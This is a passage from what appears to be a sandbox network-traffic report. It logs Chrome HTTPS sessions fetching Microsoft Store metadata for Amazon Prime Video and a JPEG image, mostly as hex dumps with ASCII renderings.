6b 61 67 65 49 64 5c 22 3a 5c 22 41 6d 61 7a 6f 6e 56 69 64 
Data Ascii: 6,\"content.bundledPackages\":[\"AmazonVideo.PrimeVideo_1.0.99.0_x86__pwbj9vvecjh7j\",\"AmazonVide
o.PrimeVideo_1.0.99.0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99.0_arm__pwbj9vvecjh7j\"],\"content.i
sMain\":false,\"content.packageId\":\"AmazonVid
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2022-05-26 11:46:48 UTC 2296 IN Data Raw: 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 
34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 
69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 
30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 
5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 
30 30 30 5a 22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 34 54 31 
36 3a 30 36 3a 30 36 2e 36 33 35 38 34 34 34 5a 22 2c 22 4c 69 63 65 6e 
Data Ascii: ows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"}]},"EndDat
e":"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModi
fiedDate":"2022-05-24T16:06:06.6358444Z","Licen

2022-05-26 11:46:48 UTC 2300 IN Data Raw: 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 
65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 
34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 
22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 78 38 36 5f 5f 70 77 
62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 
2e 30 2e 39 39 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 
65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 
Data Ascii: :"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bun
dledPackages\":[\"AmazonVideo.PrimeVideo_1.0.99.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99.0_x64__
pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99

2022-05-26 11:46:48 UTC 2303 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 192.168.2.4 49874 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:49 UTC 2303 OUT GET /cms/api/am/imageFileData/RE4CJ3S?ver=6f36 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:46:49 UTC 2519 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Last-Modified: Mon, 23 May 2022 06:34:07 GMT
X-Datacenter: northeu
X-ActivityId: ada7436d-3742-457a-805a-2822d6aa2a26
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4CJ3S?ver=6f36
X-Source-Length: 595328
Content-Length: 595328
Cache-Control: public, max-age=154091
Expires: Sat, 28 May 2022 06:35:00 GMT
Date: Thu, 26 May 2022 11:46:49 GMT
Connection: close

2022-05-26 11:46:49 UTC 2519 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-05-26 11:46:49 UTC 2535 IN Data Raw: 00 e1 a5 fb d5 1e ef 96 9d ca d0 86 1f c3 42 fc de f4 6e ff 00 be a8 fb bc 53 01 68 dd ef 45 15 23 1d cd 26 dd 
d4 9f 7a 9e bf 2d 20 1d cd 36 86 6f 4a 6e ed d4 00 e6 f9 69 39 a4 dd ba 86 a0 04 5e d4 f5 f7 a6 ab 53 b7 7a d2 10 7d da 
6b 35 3f de 93 ef 52 17 a0 ca 36 86 a9 36 86 fb b4 32 1a 04 47 b0 52 6c a9 76 52 53 bb 02 3d 94 6c a9 76 fa d0 c2 8b 8e 
c4 6a b5 22 8a 5d bf f7 d5 39 45 4d c1 20 db 4b b0 52 ed a7 7b d1 72 f9 48 64 5f 96 ab 73 57 1d 73 51 34 7f 35 52 68 cd 
ad 46 22 6e 6a 9d 50 53 55 2a 65 5a 9e 6e c3 51 ee 31 57 b5 2a ae da 7e da 4f bd 48 bb 20 55 a1 b3 4b b7 6d 22 f6 a4 
30 a7 73 4d a2 80 1d cd 22 d2 53 95 69 0c 77 34 28 a1 45 39 45 22 81 45 3f da 8d bb 68 fb b4 ae 2b 09 b7 e6 e2 97 ef 52 
b7 7a 29 0d 21 df 4a 55 5f 96 91 69 fb 4d 22 c5 5c 7f 15 
Data Ascii: BnShE#&z- 6oJni9^Sz}k5?R662GRlvRS=lvj"]9EM KR{rHd_sWsQ45RhF"njPSU*eZnQ1W*~OH UKm"0sM"Siw
4(E9E"E?h+Rz)!JU_iM"\

2022-05-26 11:46:49 UTC 2551 IN Data Raw: cc a8 5a 4f ee d2 6f a7 a8 16 37 d0 ad 50 6f db 4e f3 36 d4 d8 77 26 56 a9 15 aa be ea 77 99 50 55 d1 63 77 
bd 2e fa ae b2 53 f7 d2 b1 49 93 2b e2 9e b2 55 65 92 97 cc a5 66 55 cb 6b 27 7a 91 5e a8 f9 82 9e af 4a c2 ba 2d 6f f9 
73 4e dc b5 51 64 34 be 69 a5 ca c3 4e 85 9d e1 6a 37 7f 4a 83 71 a6 ee 6a 06 ac 4a cd 4d dd b6 9b bb 75 0a dd aa 82 
e2 ee 34 f5 7d bd 6a 3d de f4 dd d4 05 cb 4b 37 cb fe d5 48 b2 0e b5 4f 77 bd 2e ea 9e 50 ba 2e 79 a2 87 92 a9 ef a4 df 
fe d5 1c a1 74 58 92 6c d5 76 7a 8d a4 15 1b 39 aa e5 27 9b b1 2b 3d 46 cf 4c dd 49 54 45 fb 0f f3 28 56 a6 51 40 5d f4 
17 75 3b 79 a6 b0 a3 ef 50 1a f5 1d bc d3 77 96 a4 2d b6 91 9e aa c1 71 77 7b d2 6e a6 6e 02 98 cf 56 a2 45 c9 1b 2d 48 
cb ba 98 af 4e 57 15 5c ac 57 43 99 05 1b 36 d2 6f 14 f5 6d 
Data Ascii: ZOo7PoN6w&VwPUcw.SI+UefUk'z^J-osNQd4iNj7JqjJMu4}j=K7HOw.P.ytXlvz9'+=FLITE(VQ@]u;yPw-qw{n
nVE-HNW\WC6om
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2022-05-26 11:46:49 UTC 2554 IN Data Raw: 2a bf cb 45 90 c9 d9 c5 0a fb aa 25 6d d4 e5 66 a0 77 63 b6 fc d5 22 e2 a1 56 a7 6e 5a 90 b9 22 d1 cd 47 bc 
2a d1 e6 50 1c c8 91 a8 fb b5 17 9a 29 1a 4c d1 66 1c c8 93 8e f4 7c b5 17 99 de 93 cc ff 00 6a 80 b9 37 34 9c 6e a8 d5 
e8 f3 29 d8 2e 4e b8 a7 2b 0a ad bf 6b 52 ef 2b 48 65 af 96 9b be a1 69 29 55 fb 52 b0 58 9f 77 bd 3b 77 ad 41 b8 52 ef 
a9 2a c5 85 61 4b bb de a0 df b6 8f 30 51 61 16 95 a9 c8 c3 75 56 df 4a af 8a 8e 56 3b 16 c3 6e a7 ab 55 44 9b b5 48 b3 
06 ac dc 58 ac 59 fb b4 f5 6d dc 55 6f 3a 97 ed 1b 5a a7 95 81 67 77 6a 4a 89 66 14 ab 27 cb 4a cc be 62 4a 77 35 16 f0 
b4 e5 71 53 61 f3 12 6e f7 a5 56 a8 d5 81 a5 5e 56 82 ae 8b 0a c1 a9 df c3 55 f7 6d a5 57 a4 55 c9 56 9d bb 6d 40 ad b6 
8d d4 05 d1 2b 35 1b aa 2d d4 aa f8 a0 77 24 dd 4e 56 a8 
Data Ascii: *E%mfwc"VnZ"G*P)Lf|j74n).N+kR+Hei)URXw;wAR*aK0QauVJV;nUDHXYmUo:ZgwjJf'JbJw5qSa
nV^VUmWUVm@+5-w$NV

2022-05-26 11:46:49 UTC 2828 IN Data Raw: c4 6a ca db bf bd fc 38 fa 54 76 f7 c9 6b c2 34 7b d9 4a fc df 35 63 89 a5 76 c0 56 57 ff 00 69 76 d3 5f 50 92 
d9 58 3c 5b 9d bf d9 a7 61 73 23 76 df 50 2b c1 58 f3 fd e5 53 4d 6b cf 31 79 81 59 57 f8 9a b2 63 bf f3 95 b7 b7 95 fe cd 
51 93 54 b8 48 f2 77 2e ec aa ff 00 bb 4a cd 87 3a 47 45 f6 87 4d bb 62 89 7f da fb b4 47 aa 3a c8 c9 b6 36 2b fd dc 57 
2b 71 73 3b c2 a7 cf f9 9b 1f 2f 96 68 fb 70 55 59 02 c9 be 36 ff 00 96 6b b5 7f 5a 7c ac 9f 68 8e 9a e3 55 0a d8 db 1e e6 
fe f3 51 1e a9 d9 1a 35 ff 00 7a b9 77 bf 77 dc 45 9b 36 ef ef 7c b4 b6 f7 0f 2b 71 6c db 7e f7 dd f9 69 f2 b1 7b 4d 74 3a 9f 
ed 22 aa c5 fc bd bf ec d3 63 d4 2e 6e 17 31 b7 ca bf 37 ca b5 c8 b4 cf b9 89 5a 99 2f 8a 36 c3 b9 7f bd b5 a9 f2 8f 9f 5d 
4e a5 6f 3c c5 c9 95 55 b7 54 12 6b 11 
Data Ascii: j8Tvk4{J5cvVWiv_PX<[as#vP+XSMk1yYWcQTHw.J:GEMbG:6+W+qs;/hpUY6kZ|hUQ5zwwE6|+ql~i{Mt:"c.n1
7Z/6]No<UTk

2022-05-26 11:46:49 UTC 2860 IN Data Raw: f6 97 73 a8 5e 6e 7b b9 3e ca ad b5 a4 68 d1 57 77 a0 56 e4 d6 85 e4 76 da 55 d4 1b ec ee 67 f2 fe f2 dc c9 
b5 64 e7 d2 3c 63 8f 7a f4 cb 8f 85 36 f6 73 44 4b 5d dc ed f9 a3 db 96 55 fc cd 43 71 f0 ea 39 99 e4 7b 3b b6 96 46 dc cb 
e5 ee 6e 6a 9d 58 4b 5b e8 63 ec 6a c5 5b 97 53 89 bf f1 d5 bf fa dd 1b c2 fa 7e 9f 3a fc be 64 8a f3 b7 be 37 c8 71 9a 92 
c3 e3 af 8a 2d 15 6c de 0f b4 c4 bf dd 8f 6e df c4 57 4b 37 c3 54 4f f5 5a 7d f2 ff 00 db b1 ad 3d 1f e1 8b db 33 39 d3 2e ff 
00 ef 9d b5 2f d8 72 ea ae 61 2a 58 99 4a ea 4d 7a 6d f8 17 bc 0b ad 5c f8 cd 7e d6 f2 b4 12 ab 7e f2 d9 b2 cd c7 7c 57 
55 a9 78 aa e6 da df 61 d2 ae 6e 51 7e 56 da bf 36 df a1 a9 7c 3d a4 cf 6b 66 d6 90 68 b3 c5 bb ef 36 e1 f3 7e 35 a9 6b 
e1 2b 96 5c f9 12 5a ee fb db 5b 73 57 9b 52 
Data Ascii: s^n{>hWwVvUgd<cz6sDK]UCq9{;FnjXK[cj[S~:d7q-lnWK7TOZ}=39./ra*XJMzm\~~|WUxanQ~V6|=kfh6~5k+
\Z[sWR

2022-05-26 11:46:49 UTC 2884 IN Data Raw: 2e 2d 38 e8 7e 1f bc b5 82 42 d1 c9 73 69 b5 95 71 c0 3b 08 5c 8f 5d 9c fe b5 47 c4 5f b6 36 bf ae 69 37 d2 5e 
69 50 45 a8 dc c6 1b ed 71 ea 57 b1 2a ff 00 75 a3 89 25 54 e3 d3 18 fa d7 b0 6a df b7 67 c2 3d 4b 4d 5c fc 2b 6b cf 9b 
cb f2 ee ed ad 55 15 7e a0 37 e5 8a f3 0f 10 fe d4 9f 0b ae 6e 98 d9 7c 08 d1 a7 8a 49 03 48 d7 32 2b ed 51 90 42 a8 8f 
09 f4 1c 7b 51 cf 1e 9b 95 cb 2d da 3c 53 fe 17 46 b7 7d 7d 73 71 a9 f8 8f 5d bc 8a ea 07 8a 78 23 bd 75 eb d3 ef 92 a5 
7f d9 a9 ac 7e 2d 6b 73 58 d9 d8 45 2c d2 e9 b6 32 c7 2c 0c da 6d a4 ab 1e 3a ef 06 22 5b 3e ed 83 df 35 e8 5e 26 fd ac 
bc 25 6f a5 ab f8 2b e1 17 87 7c 2f a8 fd d6 d5 24 b6 86 ea 58 d8 7f cf 30 62 50 8d ee 77 57 8b e9 3f 12 3c 53 6f a4 de 69 
1a 57 88 35 25 d2 6e 97 6c ba 6d b4 85 12 65 1c 85 
Data Ascii: .-8~Bsiq;\]G_6i7^iPEqW*u%Tjg=KM\+kU~7n|IH2+QB{Q-<SF}}sq]x#u~-ksXE,2,m:"[>5^&%o+|/$X0bPwW?
<SoiW5%nlme

2022-05-26 11:46:49 UTC 2907 IN Data Raw: eb 55 6e ad 6c b4 5b a6 b3 d5 ec e7 59 6e 57 e5 92 0b 60 db 97 a6 0b 1c 7c df ec e4 d7 3f b3 8a 51 72 a7 a2 
30 f6 52 76 4e 06 5a dc d8 4d a4 c4 74 85 b9 d0 65 9d bf d6 40 c9 b9 7d c6 54 36 31 ff 00 eb a8 55 25 d6 3f d0 27 bc 6b 
e4 8e 31 1c 9f 69 c6 e6 f4 6d b9 39 6c f7 15 3d f2 68 57 f3 45 69 64 cd 3c f1 65 5b 6c 85 1e 3c 72 73 c8 fd 2a be 9b f0 ef 
46 d7 26 96 e6 ce f2 ef 73 36 d8 fc f5 da ac fd 70 ad f7 80 3f 5a f6 68 49 5a f2 56 f9 7f c1 3b e9 29 de d6 36 13 45 b7 f0 fd 
8a a4 57 3f 2f de 55 55 2f d3 b6 0f a5 67 e9 fe 13 8a fa 4b 9b 87 6b bb 6b 2d bf 2b 79 6f b1 98 fe 39 c7 e1 5d 0d cf c3 7d 
63 c3 76 ed 7b 2c 57 37 36 ed 88 e4 82 da 71 2b 6e f7 04 7e 7c d7 1b e3 6f 19 dc 69 30 c4 63 f3 e7 f9 82 c7 69 3a a2 fc 
bd c2 ed 24 12 2a a5 4e ad 7a bc 96 d3 e5 ff 
Data Ascii: Unl[YnW`|?Qr0RvNZMte@}T61U%?'k1im9l=hWEid<e[l<rs*F&s6p?ZhIZV;)6EW?/UU/gKkk-+yo9]}cv{,W76
q+n~|oi0ci:$*Nz

2022-05-26 11:46:49 UTC 2955 IN Data Raw: e7 57 b6 b6 f3 1b 6f cb 6c 7e 5f 62 c0 6d 5c fd 6b c9 ee 3c 45 6c b6 b6 c5 ec 6e 55 22 c4 72 41 3a ee 58 f9 fb 
e0 83 9f eb 55 6c 75 ab 6d 69 a5 b8 b2 8a 3b 6f 2f 32 32 ee 31 4b d7 9c 63 b0 35 ee 51 e2 0c cb 0a ed 5a 5c cb cd 7f 95 
8f 36 a6 59 86 a9 a2 8d 9f 91 e8 ba e5 86 95 75 ad 62 e7 c5 17 d2 ce d1 fe ee 05 59 d6 d9 71 dc 04 2a b9 f7 3c fb d6 75 
b5 b7 84 e1 8e 2b 8d 7f c5 56 d6 32 44 bb 55 75 4d 3a 48 25 6c 1c 10 ae 19 84 9e a0 72 79 ac 16 d6 a7 7b e8 bc ab 99 
15 99 47 ef 3c cd cb bb d0 9e 9f a5 49 ad 78 86 7b 8f 34 6a 13 cf 12 cb 19 8b f7 78 d9 b4 f7 1c 6d 24 7a e2 bd fa 1c 61 87 
9a fd fc 1c 7c d6 ab ee dc f3 a5 93 c9 2f dd c9 35 e7 a3 fc 8e 87 50 f8 5f e1 3f 10 35 b6 ad a6 78 9b 4b b3 b7 56 31 f9 9f 
bf 45 de 79 3f 76 44 50 4f 7e 39 ac 6b ff 00 80 9e 
Data Ascii: Wol~_bm\k<ElnU"rA:XUlumi;o/221Kc5QZ\6YubYq*<u+V2DUuM:H%lry{G<Ix{4jxm$za|/5P_?5xKV1Ey?vDP
O~9k

2022-05-26 11:46:49 UTC 3401 IN Data Raw: f0 4d b7 81 fc 3b 67 a4 69 97 90 6a 6d 1a fe ed 77 6d 5f e2 25 98 f3 c9 3e 83 f0 a5 d6 bc 71 a5 f8 4d 62 8b 5d 
d4 f4 fd 32 79 76 44 d1 c1 20 69 63 76 e3 a1 f9 b6 8f ef 10 3d 6a 1f 2e ec a5 75 a2 34 3c 1b e0 74 f0 7d af 95 6d e2 1d 4a 
fa cf fe 78 5d b4 32 ae 7f de 2b bb f5 ae 3b c5 bf 12 3c 4f e1 e9 af 2c a0 f0 bd f7 88 6e 37 16 b6 fb 0c 0e 89 b3 3f c6 c4 15 
cf d0 fe 15 5f c5 1e 2d f0 f6 96 cd 73 a6 6a b7 3e 21 65 c4 12 43 6d 77 e6 c4 ac df c5 80 d8 e7 d4 10 4d 45 a3 fc 4b b4 d3 
74 bf b4 a4 fa 86 e5 c2 c7 a6 c7 69 1e f5 52 71 f2 16 6e 71 fd e2 ed 45 95 86 ae dd cc 3d 13 f6 8c d1 ef ee 2e 6c f5 95 d4 
b4 1d 4a 29 36 b5 a4 90 19 5b 70 ea 00 50 3f 51 5e b3 0f 8b 6d d7 4f 6b db 7d 3f 50 9e 06 8f cc 66 65 f2 b6 ae 33 92 1c 
8c 7e 55 e2 7e 22 f1 e5 ea dc 7f 6c 6b 
Data Ascii: M;gijmwm_%>qMb]2yvD icv=j.u4<t}mJx]2+;<O,n7?_-sj>!eCmwMEKtiRqnqE=.lJ)6[pP?Q^mOk}?Pfe3~U~"lk

2022-05-26 11:46:49 UTC 3440 IN Data Raw: 61 9e 17 5e 3c a5 2a 0c 61 4f 70 39 35 a1 e2 8f 84 be 0a f0 6e 9e b7 67 4a f1 26 99 e2 3b 1b 6f b6 c7 3e 9b 3b 
bc 5e 67 40 bf 69 31 18 b1 91 92 5b 18 1f 95 7c 83 e7 4f a6 aa cf 15 9c 9b ad 98 37 da e0 f9 76 b7 5f bc 01 1f d6 be 8b f0 
cf c7 8f 04 78 9f 45 97 48 f1 fd f6 b6 da 24 f1 46 d1 4f a9 49 e6 b3 4d 1f de 5d d0 44 8d 27 24 11 b8 b6 3b e2 b7 a7 5a 32 
56 92 48 ca a5 39 ab 4a 2e e7 63 e0 bf da c6 38 e3 97 c3 de 31 d1 64 6b db 55 f2 da 78 ee 61 b9 59 98 72 32 50 04 27 fd 
de fd ab d1 24 f8 99 e1 3f 89 9a 4d f7 87 b4 cd 5f fb 33 59 96 3f 21 56 7b 67 59 6d 5d 86 14 f4 c6 e1 d4 73 5e 65 e0 5d 07 
f6 72 d4 b4 db ed 4a ce 7b 19 d2 35 f3 24 8f 52 92 64 78 d5 4e 78 47 39 3f 80 39 af 6b f0 67 82 f4 6f 0f 2b 4b a6 6a 77 d3 
d8 5c 46 36 c1 77 20 78 16 3e 4a ac 60 2a 
Data Ascii: a^<*aOp95ngJ&;o>;^g@i1[|O7v_xEH$FOIM]D'$;Z2VH9J.c81dkUxaYr2P'$?M_3Y?!V{gYm]s^e]rJ{5$RdxN
xG9?9kgo+Kjw\F6w x>J`*

2022-05-26 11:46:49 UTC 3496 IN Data Raw: 36 d4 35 ad 47 cc 45 b4 d4 35 2b 44 9d 55 76 7c f1 31 03 cc 4c 6d e0 c8 b8 f4 35 f2 04 9e 1e d4 f4 df de 5b ce 
db be f2 6d 6f bc be c4 76 ae cb c3 37 3a ab 69 71 4b 2f cb 2c 52 18 f7 2c 9b 59 58 0e ad 8e 87 1f c5 59 ac 4a 8b bb 4b f5 
35 74 6e ad 73 ec af 0b e9 7f 13 da d5 47 8b 53 4d f1 0a f0 de 7c 73 85 95 97 1d 0a ed c6 47 b6 2b a0 f1 16 9b 71 a2 5b 
ff 00 68 be 9b 7d ab a7 dd 58 2d 23 0d 2a fa 8c 12 bd eb e5 75 f8 c1 a8 d9 f8 66 c6 e6 d2 f1 af a7 91 8c 5e 65 ca c6 f1 43 
b7 00 1f 99 72 1f 77 4c f4 ab 8d f1 93 c7 17 fa 5c 16 6f ad 5d fc bf 75 b7 23 6e cf 5e 7e f5 74 fd 6a 9c 62 9a 39 fe af 36 ce 
d2 ff 00 f6 86 8e da f1 ac ff 00 e1 00 f1 24 17 b1 44 f2 c7 04 f2 14 66 e4 81 c6 30 e9 d8 f0 71 da bc ee e3 f6 96 f8 81 a7 ea
9e 44 ba 1c 9a 7d 94 8c 5b ec 33 c7 
Data Ascii: 65GE5+DUv|1Lm5[mov7:iqK/,R,YXYJK5tnsGSM|sG+q[h}X-#*uf^eCrwL\o]u#n^~tjb96$Df0qD}[3

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 3536 IN Data Raw: ed 68 cd a2 77 f0 e8 ba 62 5d 7d 9b 4e 56 95 19 03 6e 8e 7d ad ef 91 5c af 88 35 49 2c ed ef 3c 37 24 0d 6d 
71 24 a2 45 bb 56 2a d1 aa e7 72 f1 d9 b8 3d 3b 57 b6 7c 2e f8 51 e2 cf 13 dd 41 2d e6 9f fd 83 66 d1 19 16 ee e6 04 7d 
dd 3e 52 99 0d cf bd 74 1f b5 2f 84 a2 f0 97 c2 bd 16 4d 33 48 b4 fb 54 7a 94 2b 77 a9 5b 41 b2 5f f5 6e 01 e4 92 01 3f 29 
e7 15 db 4a 95 5e 49 4a 5b 18 ca a4 6e a2 7c e8 97 97 b7 16 70 5b 5c 4a b1 79 51 95 5b bb 65 0a ed db 1b b1 9e 29 9a 
1d cc b6 5a a4 b6 72 5c b4 f7 12 45 f2 c9 24 fb 96 4a ea 34 dd 12 2d 7b 41 88 5d dc c9 14 b1 ff 00 12 ed dd b4 fd 3b e6 
a4 b8 f0 dc 5a 95 8c 52 7f 6b dc de 2c 4d e5 f9 72 36 df 2f 1c 63 a9 3d 3d ab 86 37 93 6a c6 f6 48 c6 d4 3c 3e fa 95 bf d9 
3f b6 a7 b1 bc 81 bc d8 a3 9f ee ef 1d 94 91 9c 7e 35 
Data Ascii: hwb]}NVn}\5I,<7$mq$EV*r=;W|.QA-f}>Rt/M3HTz+w[A_n?)J^IJ[n|p[\JyQ[e)Zr\E$J4-{A];ZRk,Mr6/c==7jH<>?~5

2022-05-26 11:46:49 UTC 3647 IN Data Raw: b7 95 77 2f dc 57 5f 73 92 01 18 f6 ac cd 12 c3 4c ba 8e 72 1a 4b 69 56 43 b5 57 66 c9 38 ed b4 0f e7 f9 d6 7e 
95 aa dc 78 eb 45 59 3e d3 a8 58 f9 79 58 d7 cc d9 bb 9c 7d c2 bd 33 eb 9a 8a 6d 4b 59 b6 f3 62 4b 38 e5 e9 1c 52 2d 
a1 de af 8e a4 8c ee e7 d0 0a d5 21 75 d0 eb 34 dd 1a d2 d6 df 6a 69 8c c8 b2 19 23 5f 31 d9 9b 3d 4e 3b 67 d2 ae db 3f 
da 3c df f8 96 7d d8 c6 d5 66 75 55 7e f9 1f fd 6f c6 b8 78 fe 2d 69 9e 1e b7 82 cf c4 ad 77 fd a5 23 05 5f b3 59 4c ab 26 
4f 1c 91 b4 7e 24 57 59 a8 78 d3 47 d3 ec 60 96 e7 53 8e ce 29 3e 65 fb 5c 82 2f 94 f1 ce 79 a9 ea 26 99 7a c6 e8 c8 cc 
3e cd 79 04 11 e5 1a 45 8f 6a 33 7b 73 9c 7e 15 b5 6d 75 1c 8b 14 42 06 89 22 51 b6 48 e7 7f bd e9 8a ce d1 6e 3f b5 ac 
fc f8 ef a0 b9 b7 db f2 b5 b4 e8 cb bb 1f 53 83 54 ae 
Data Ascii: w/W_sLrKiVCWf8~xEY>XyX}3mKYbK8R-!u4ji#_1=N;g?<}fuU~ox-iw#_YL&O~$WYxG`S)>e\/y&z>yEj3{s~mu
B"QHn?ST

2022-05-26 11:46:49 UTC 3663 IN Data Raw: cd f7 97 f8 5b b6 45 7b 94 71 94 eb fc 2f 5e dd 4f 52 95 7a 75 d5 e0 6e ad bb bb 6f 11 36 dd a3 77 97 8f 6e 7d 
2a 3b 0d 16 38 6d e0 8e 79 6e 65 db 21 56 9d a4 2c ff 00 ec a8 04 fd d1 d3 d8 56 76 95 ae 0f b6 5b 41 3c 4d 13 32 ff 00 
af dd f2 ab 73 d8 f4 f5 ad b7 d5 ad ac 34 b6 90 44 d7 30 48 c1 64 da a1 fe 5e 72 c1 be b8 ed 5a fb 68 a9 f2 f5 07 51 73 f2 
2d ca 0d 61 01 8e 57 81 56 29 63 fb ca df 2b 77 fc ea 9c b2 45 1a dc 87 66 57 91 77 44 d0 31 46 eb 9d be a7 db 9f ce ad 
ea d7 f6 9e 74 4f 02 b4 0b 3e 24 8f 74 fb b7 2b 0f f3 c5 5d 93 ec f3 2c 4e f6 6d 14 6b 07 97 23 34 7e 6e ec 93 96 00 f4 c6 
78 fa 56 92 71 92 b5 ed ea 54 97 34 6d b5 cc 2b cd 2b 4f d5 bc a4 89 a3 d5 d6 6c 44 d1 f9 69 bd 58 9e 41 3d 7f 51 83 5c 
e6 9b f0 ee 0f ec db 1d 38 dd ff 00 66 2d b4 b2 
Data Ascii: [E{q/^ORzuno6wn}*;8myne!V,Vv[A<M2s4D0Hd^rZhQs-aWV)c+wEfWwD1FtO>$t+],Nmk#4~nxVqT4m++OlDiX
A=Q\8f-

2022-05-26 11:46:49 UTC 3775 IN Data Raw: d2 ce d1 5d aa 95 8f cb 64 54 90 12 7e f0 3c e6 b3 6d 3c 31 3c 8a b6 df 63 82 78 13 2a ca d7 25 59 98 fd d6 
ce 31 d7 8c 57 34 71 34 69 ce f2 ab 7b f7 22 15 63 09 37 29 5c f3 e4 d1 60 9a 68 27 b3 6b 98 1a 2f de 47 24 6c 53 e6 e4 
67 83 ef 8a e9 35 6d 42 e5 19 64 b8 f3 1a 5d a8 bb 64 ca af 1f d4 d4 b7 9f 0f 75 87 e6 c2 78 2c e0 89 bc c5 dd 26 df 25 81 
f7 c7 7f c2 b7 92 4d 67 4d d2 d8 6b b6 2d a9 ab 37 96 b3 d8 e1 93 60 5c e4 ed ea 73 5d 12 c4 d2 ba 95 39 27 7f 33 67 
5e 0a d2 8a 4c e6 12 13 73 1f 9d b6 36 58 d8 32 af 1f 2e 7d 2a 68 df cf 93 02 25 d8 d1 ee 65 fe ef 15 5f c3 fa 5d ee a1 7d 
73 15 b5 b4 91 41 1f cd e4 48 df 75 4f 4e 4e 33 52 ea d6 77 3a 7c d2 c1 2a af 9e b1 f9 ab b7 ee b2 9f 43 5b 46 70 94 b9 
13 4d 9d 71 ad 09 3b 26 66 f9 31 e9 73 45 73 3c 51 fe 
Data Ascii: ]dT~<m<1<cx*%Y1W4q4i{"c7)\`h'k/G$lSg5mBd]dux,&%MgMk-7`\s]9'3g^Ls6X2.}*h%e_]}sAHuONN3Rw:|
*C[FpMq;&f1sEs<Q

2022-05-26 11:46:49 UTC 3814 IN Data Raw: a9 57 c1 fa d6 97 f1 1f c2 b2 db 6b 71 2a 5e 45 21 56 92 3f be ac 47 5e 46 6b 9e f1 47 c3 db 8d 1e 48 ae 34 dd 
d7 3a 5f 1e 6f f7 d5 b3 83 90 3b 77 ae 92 1d 3e de d9 a0 b7 8a 29 e0 96 48 d1 a3 69 fe f3 22 f5 04 8f 6a dc b7 5b 49 a3 
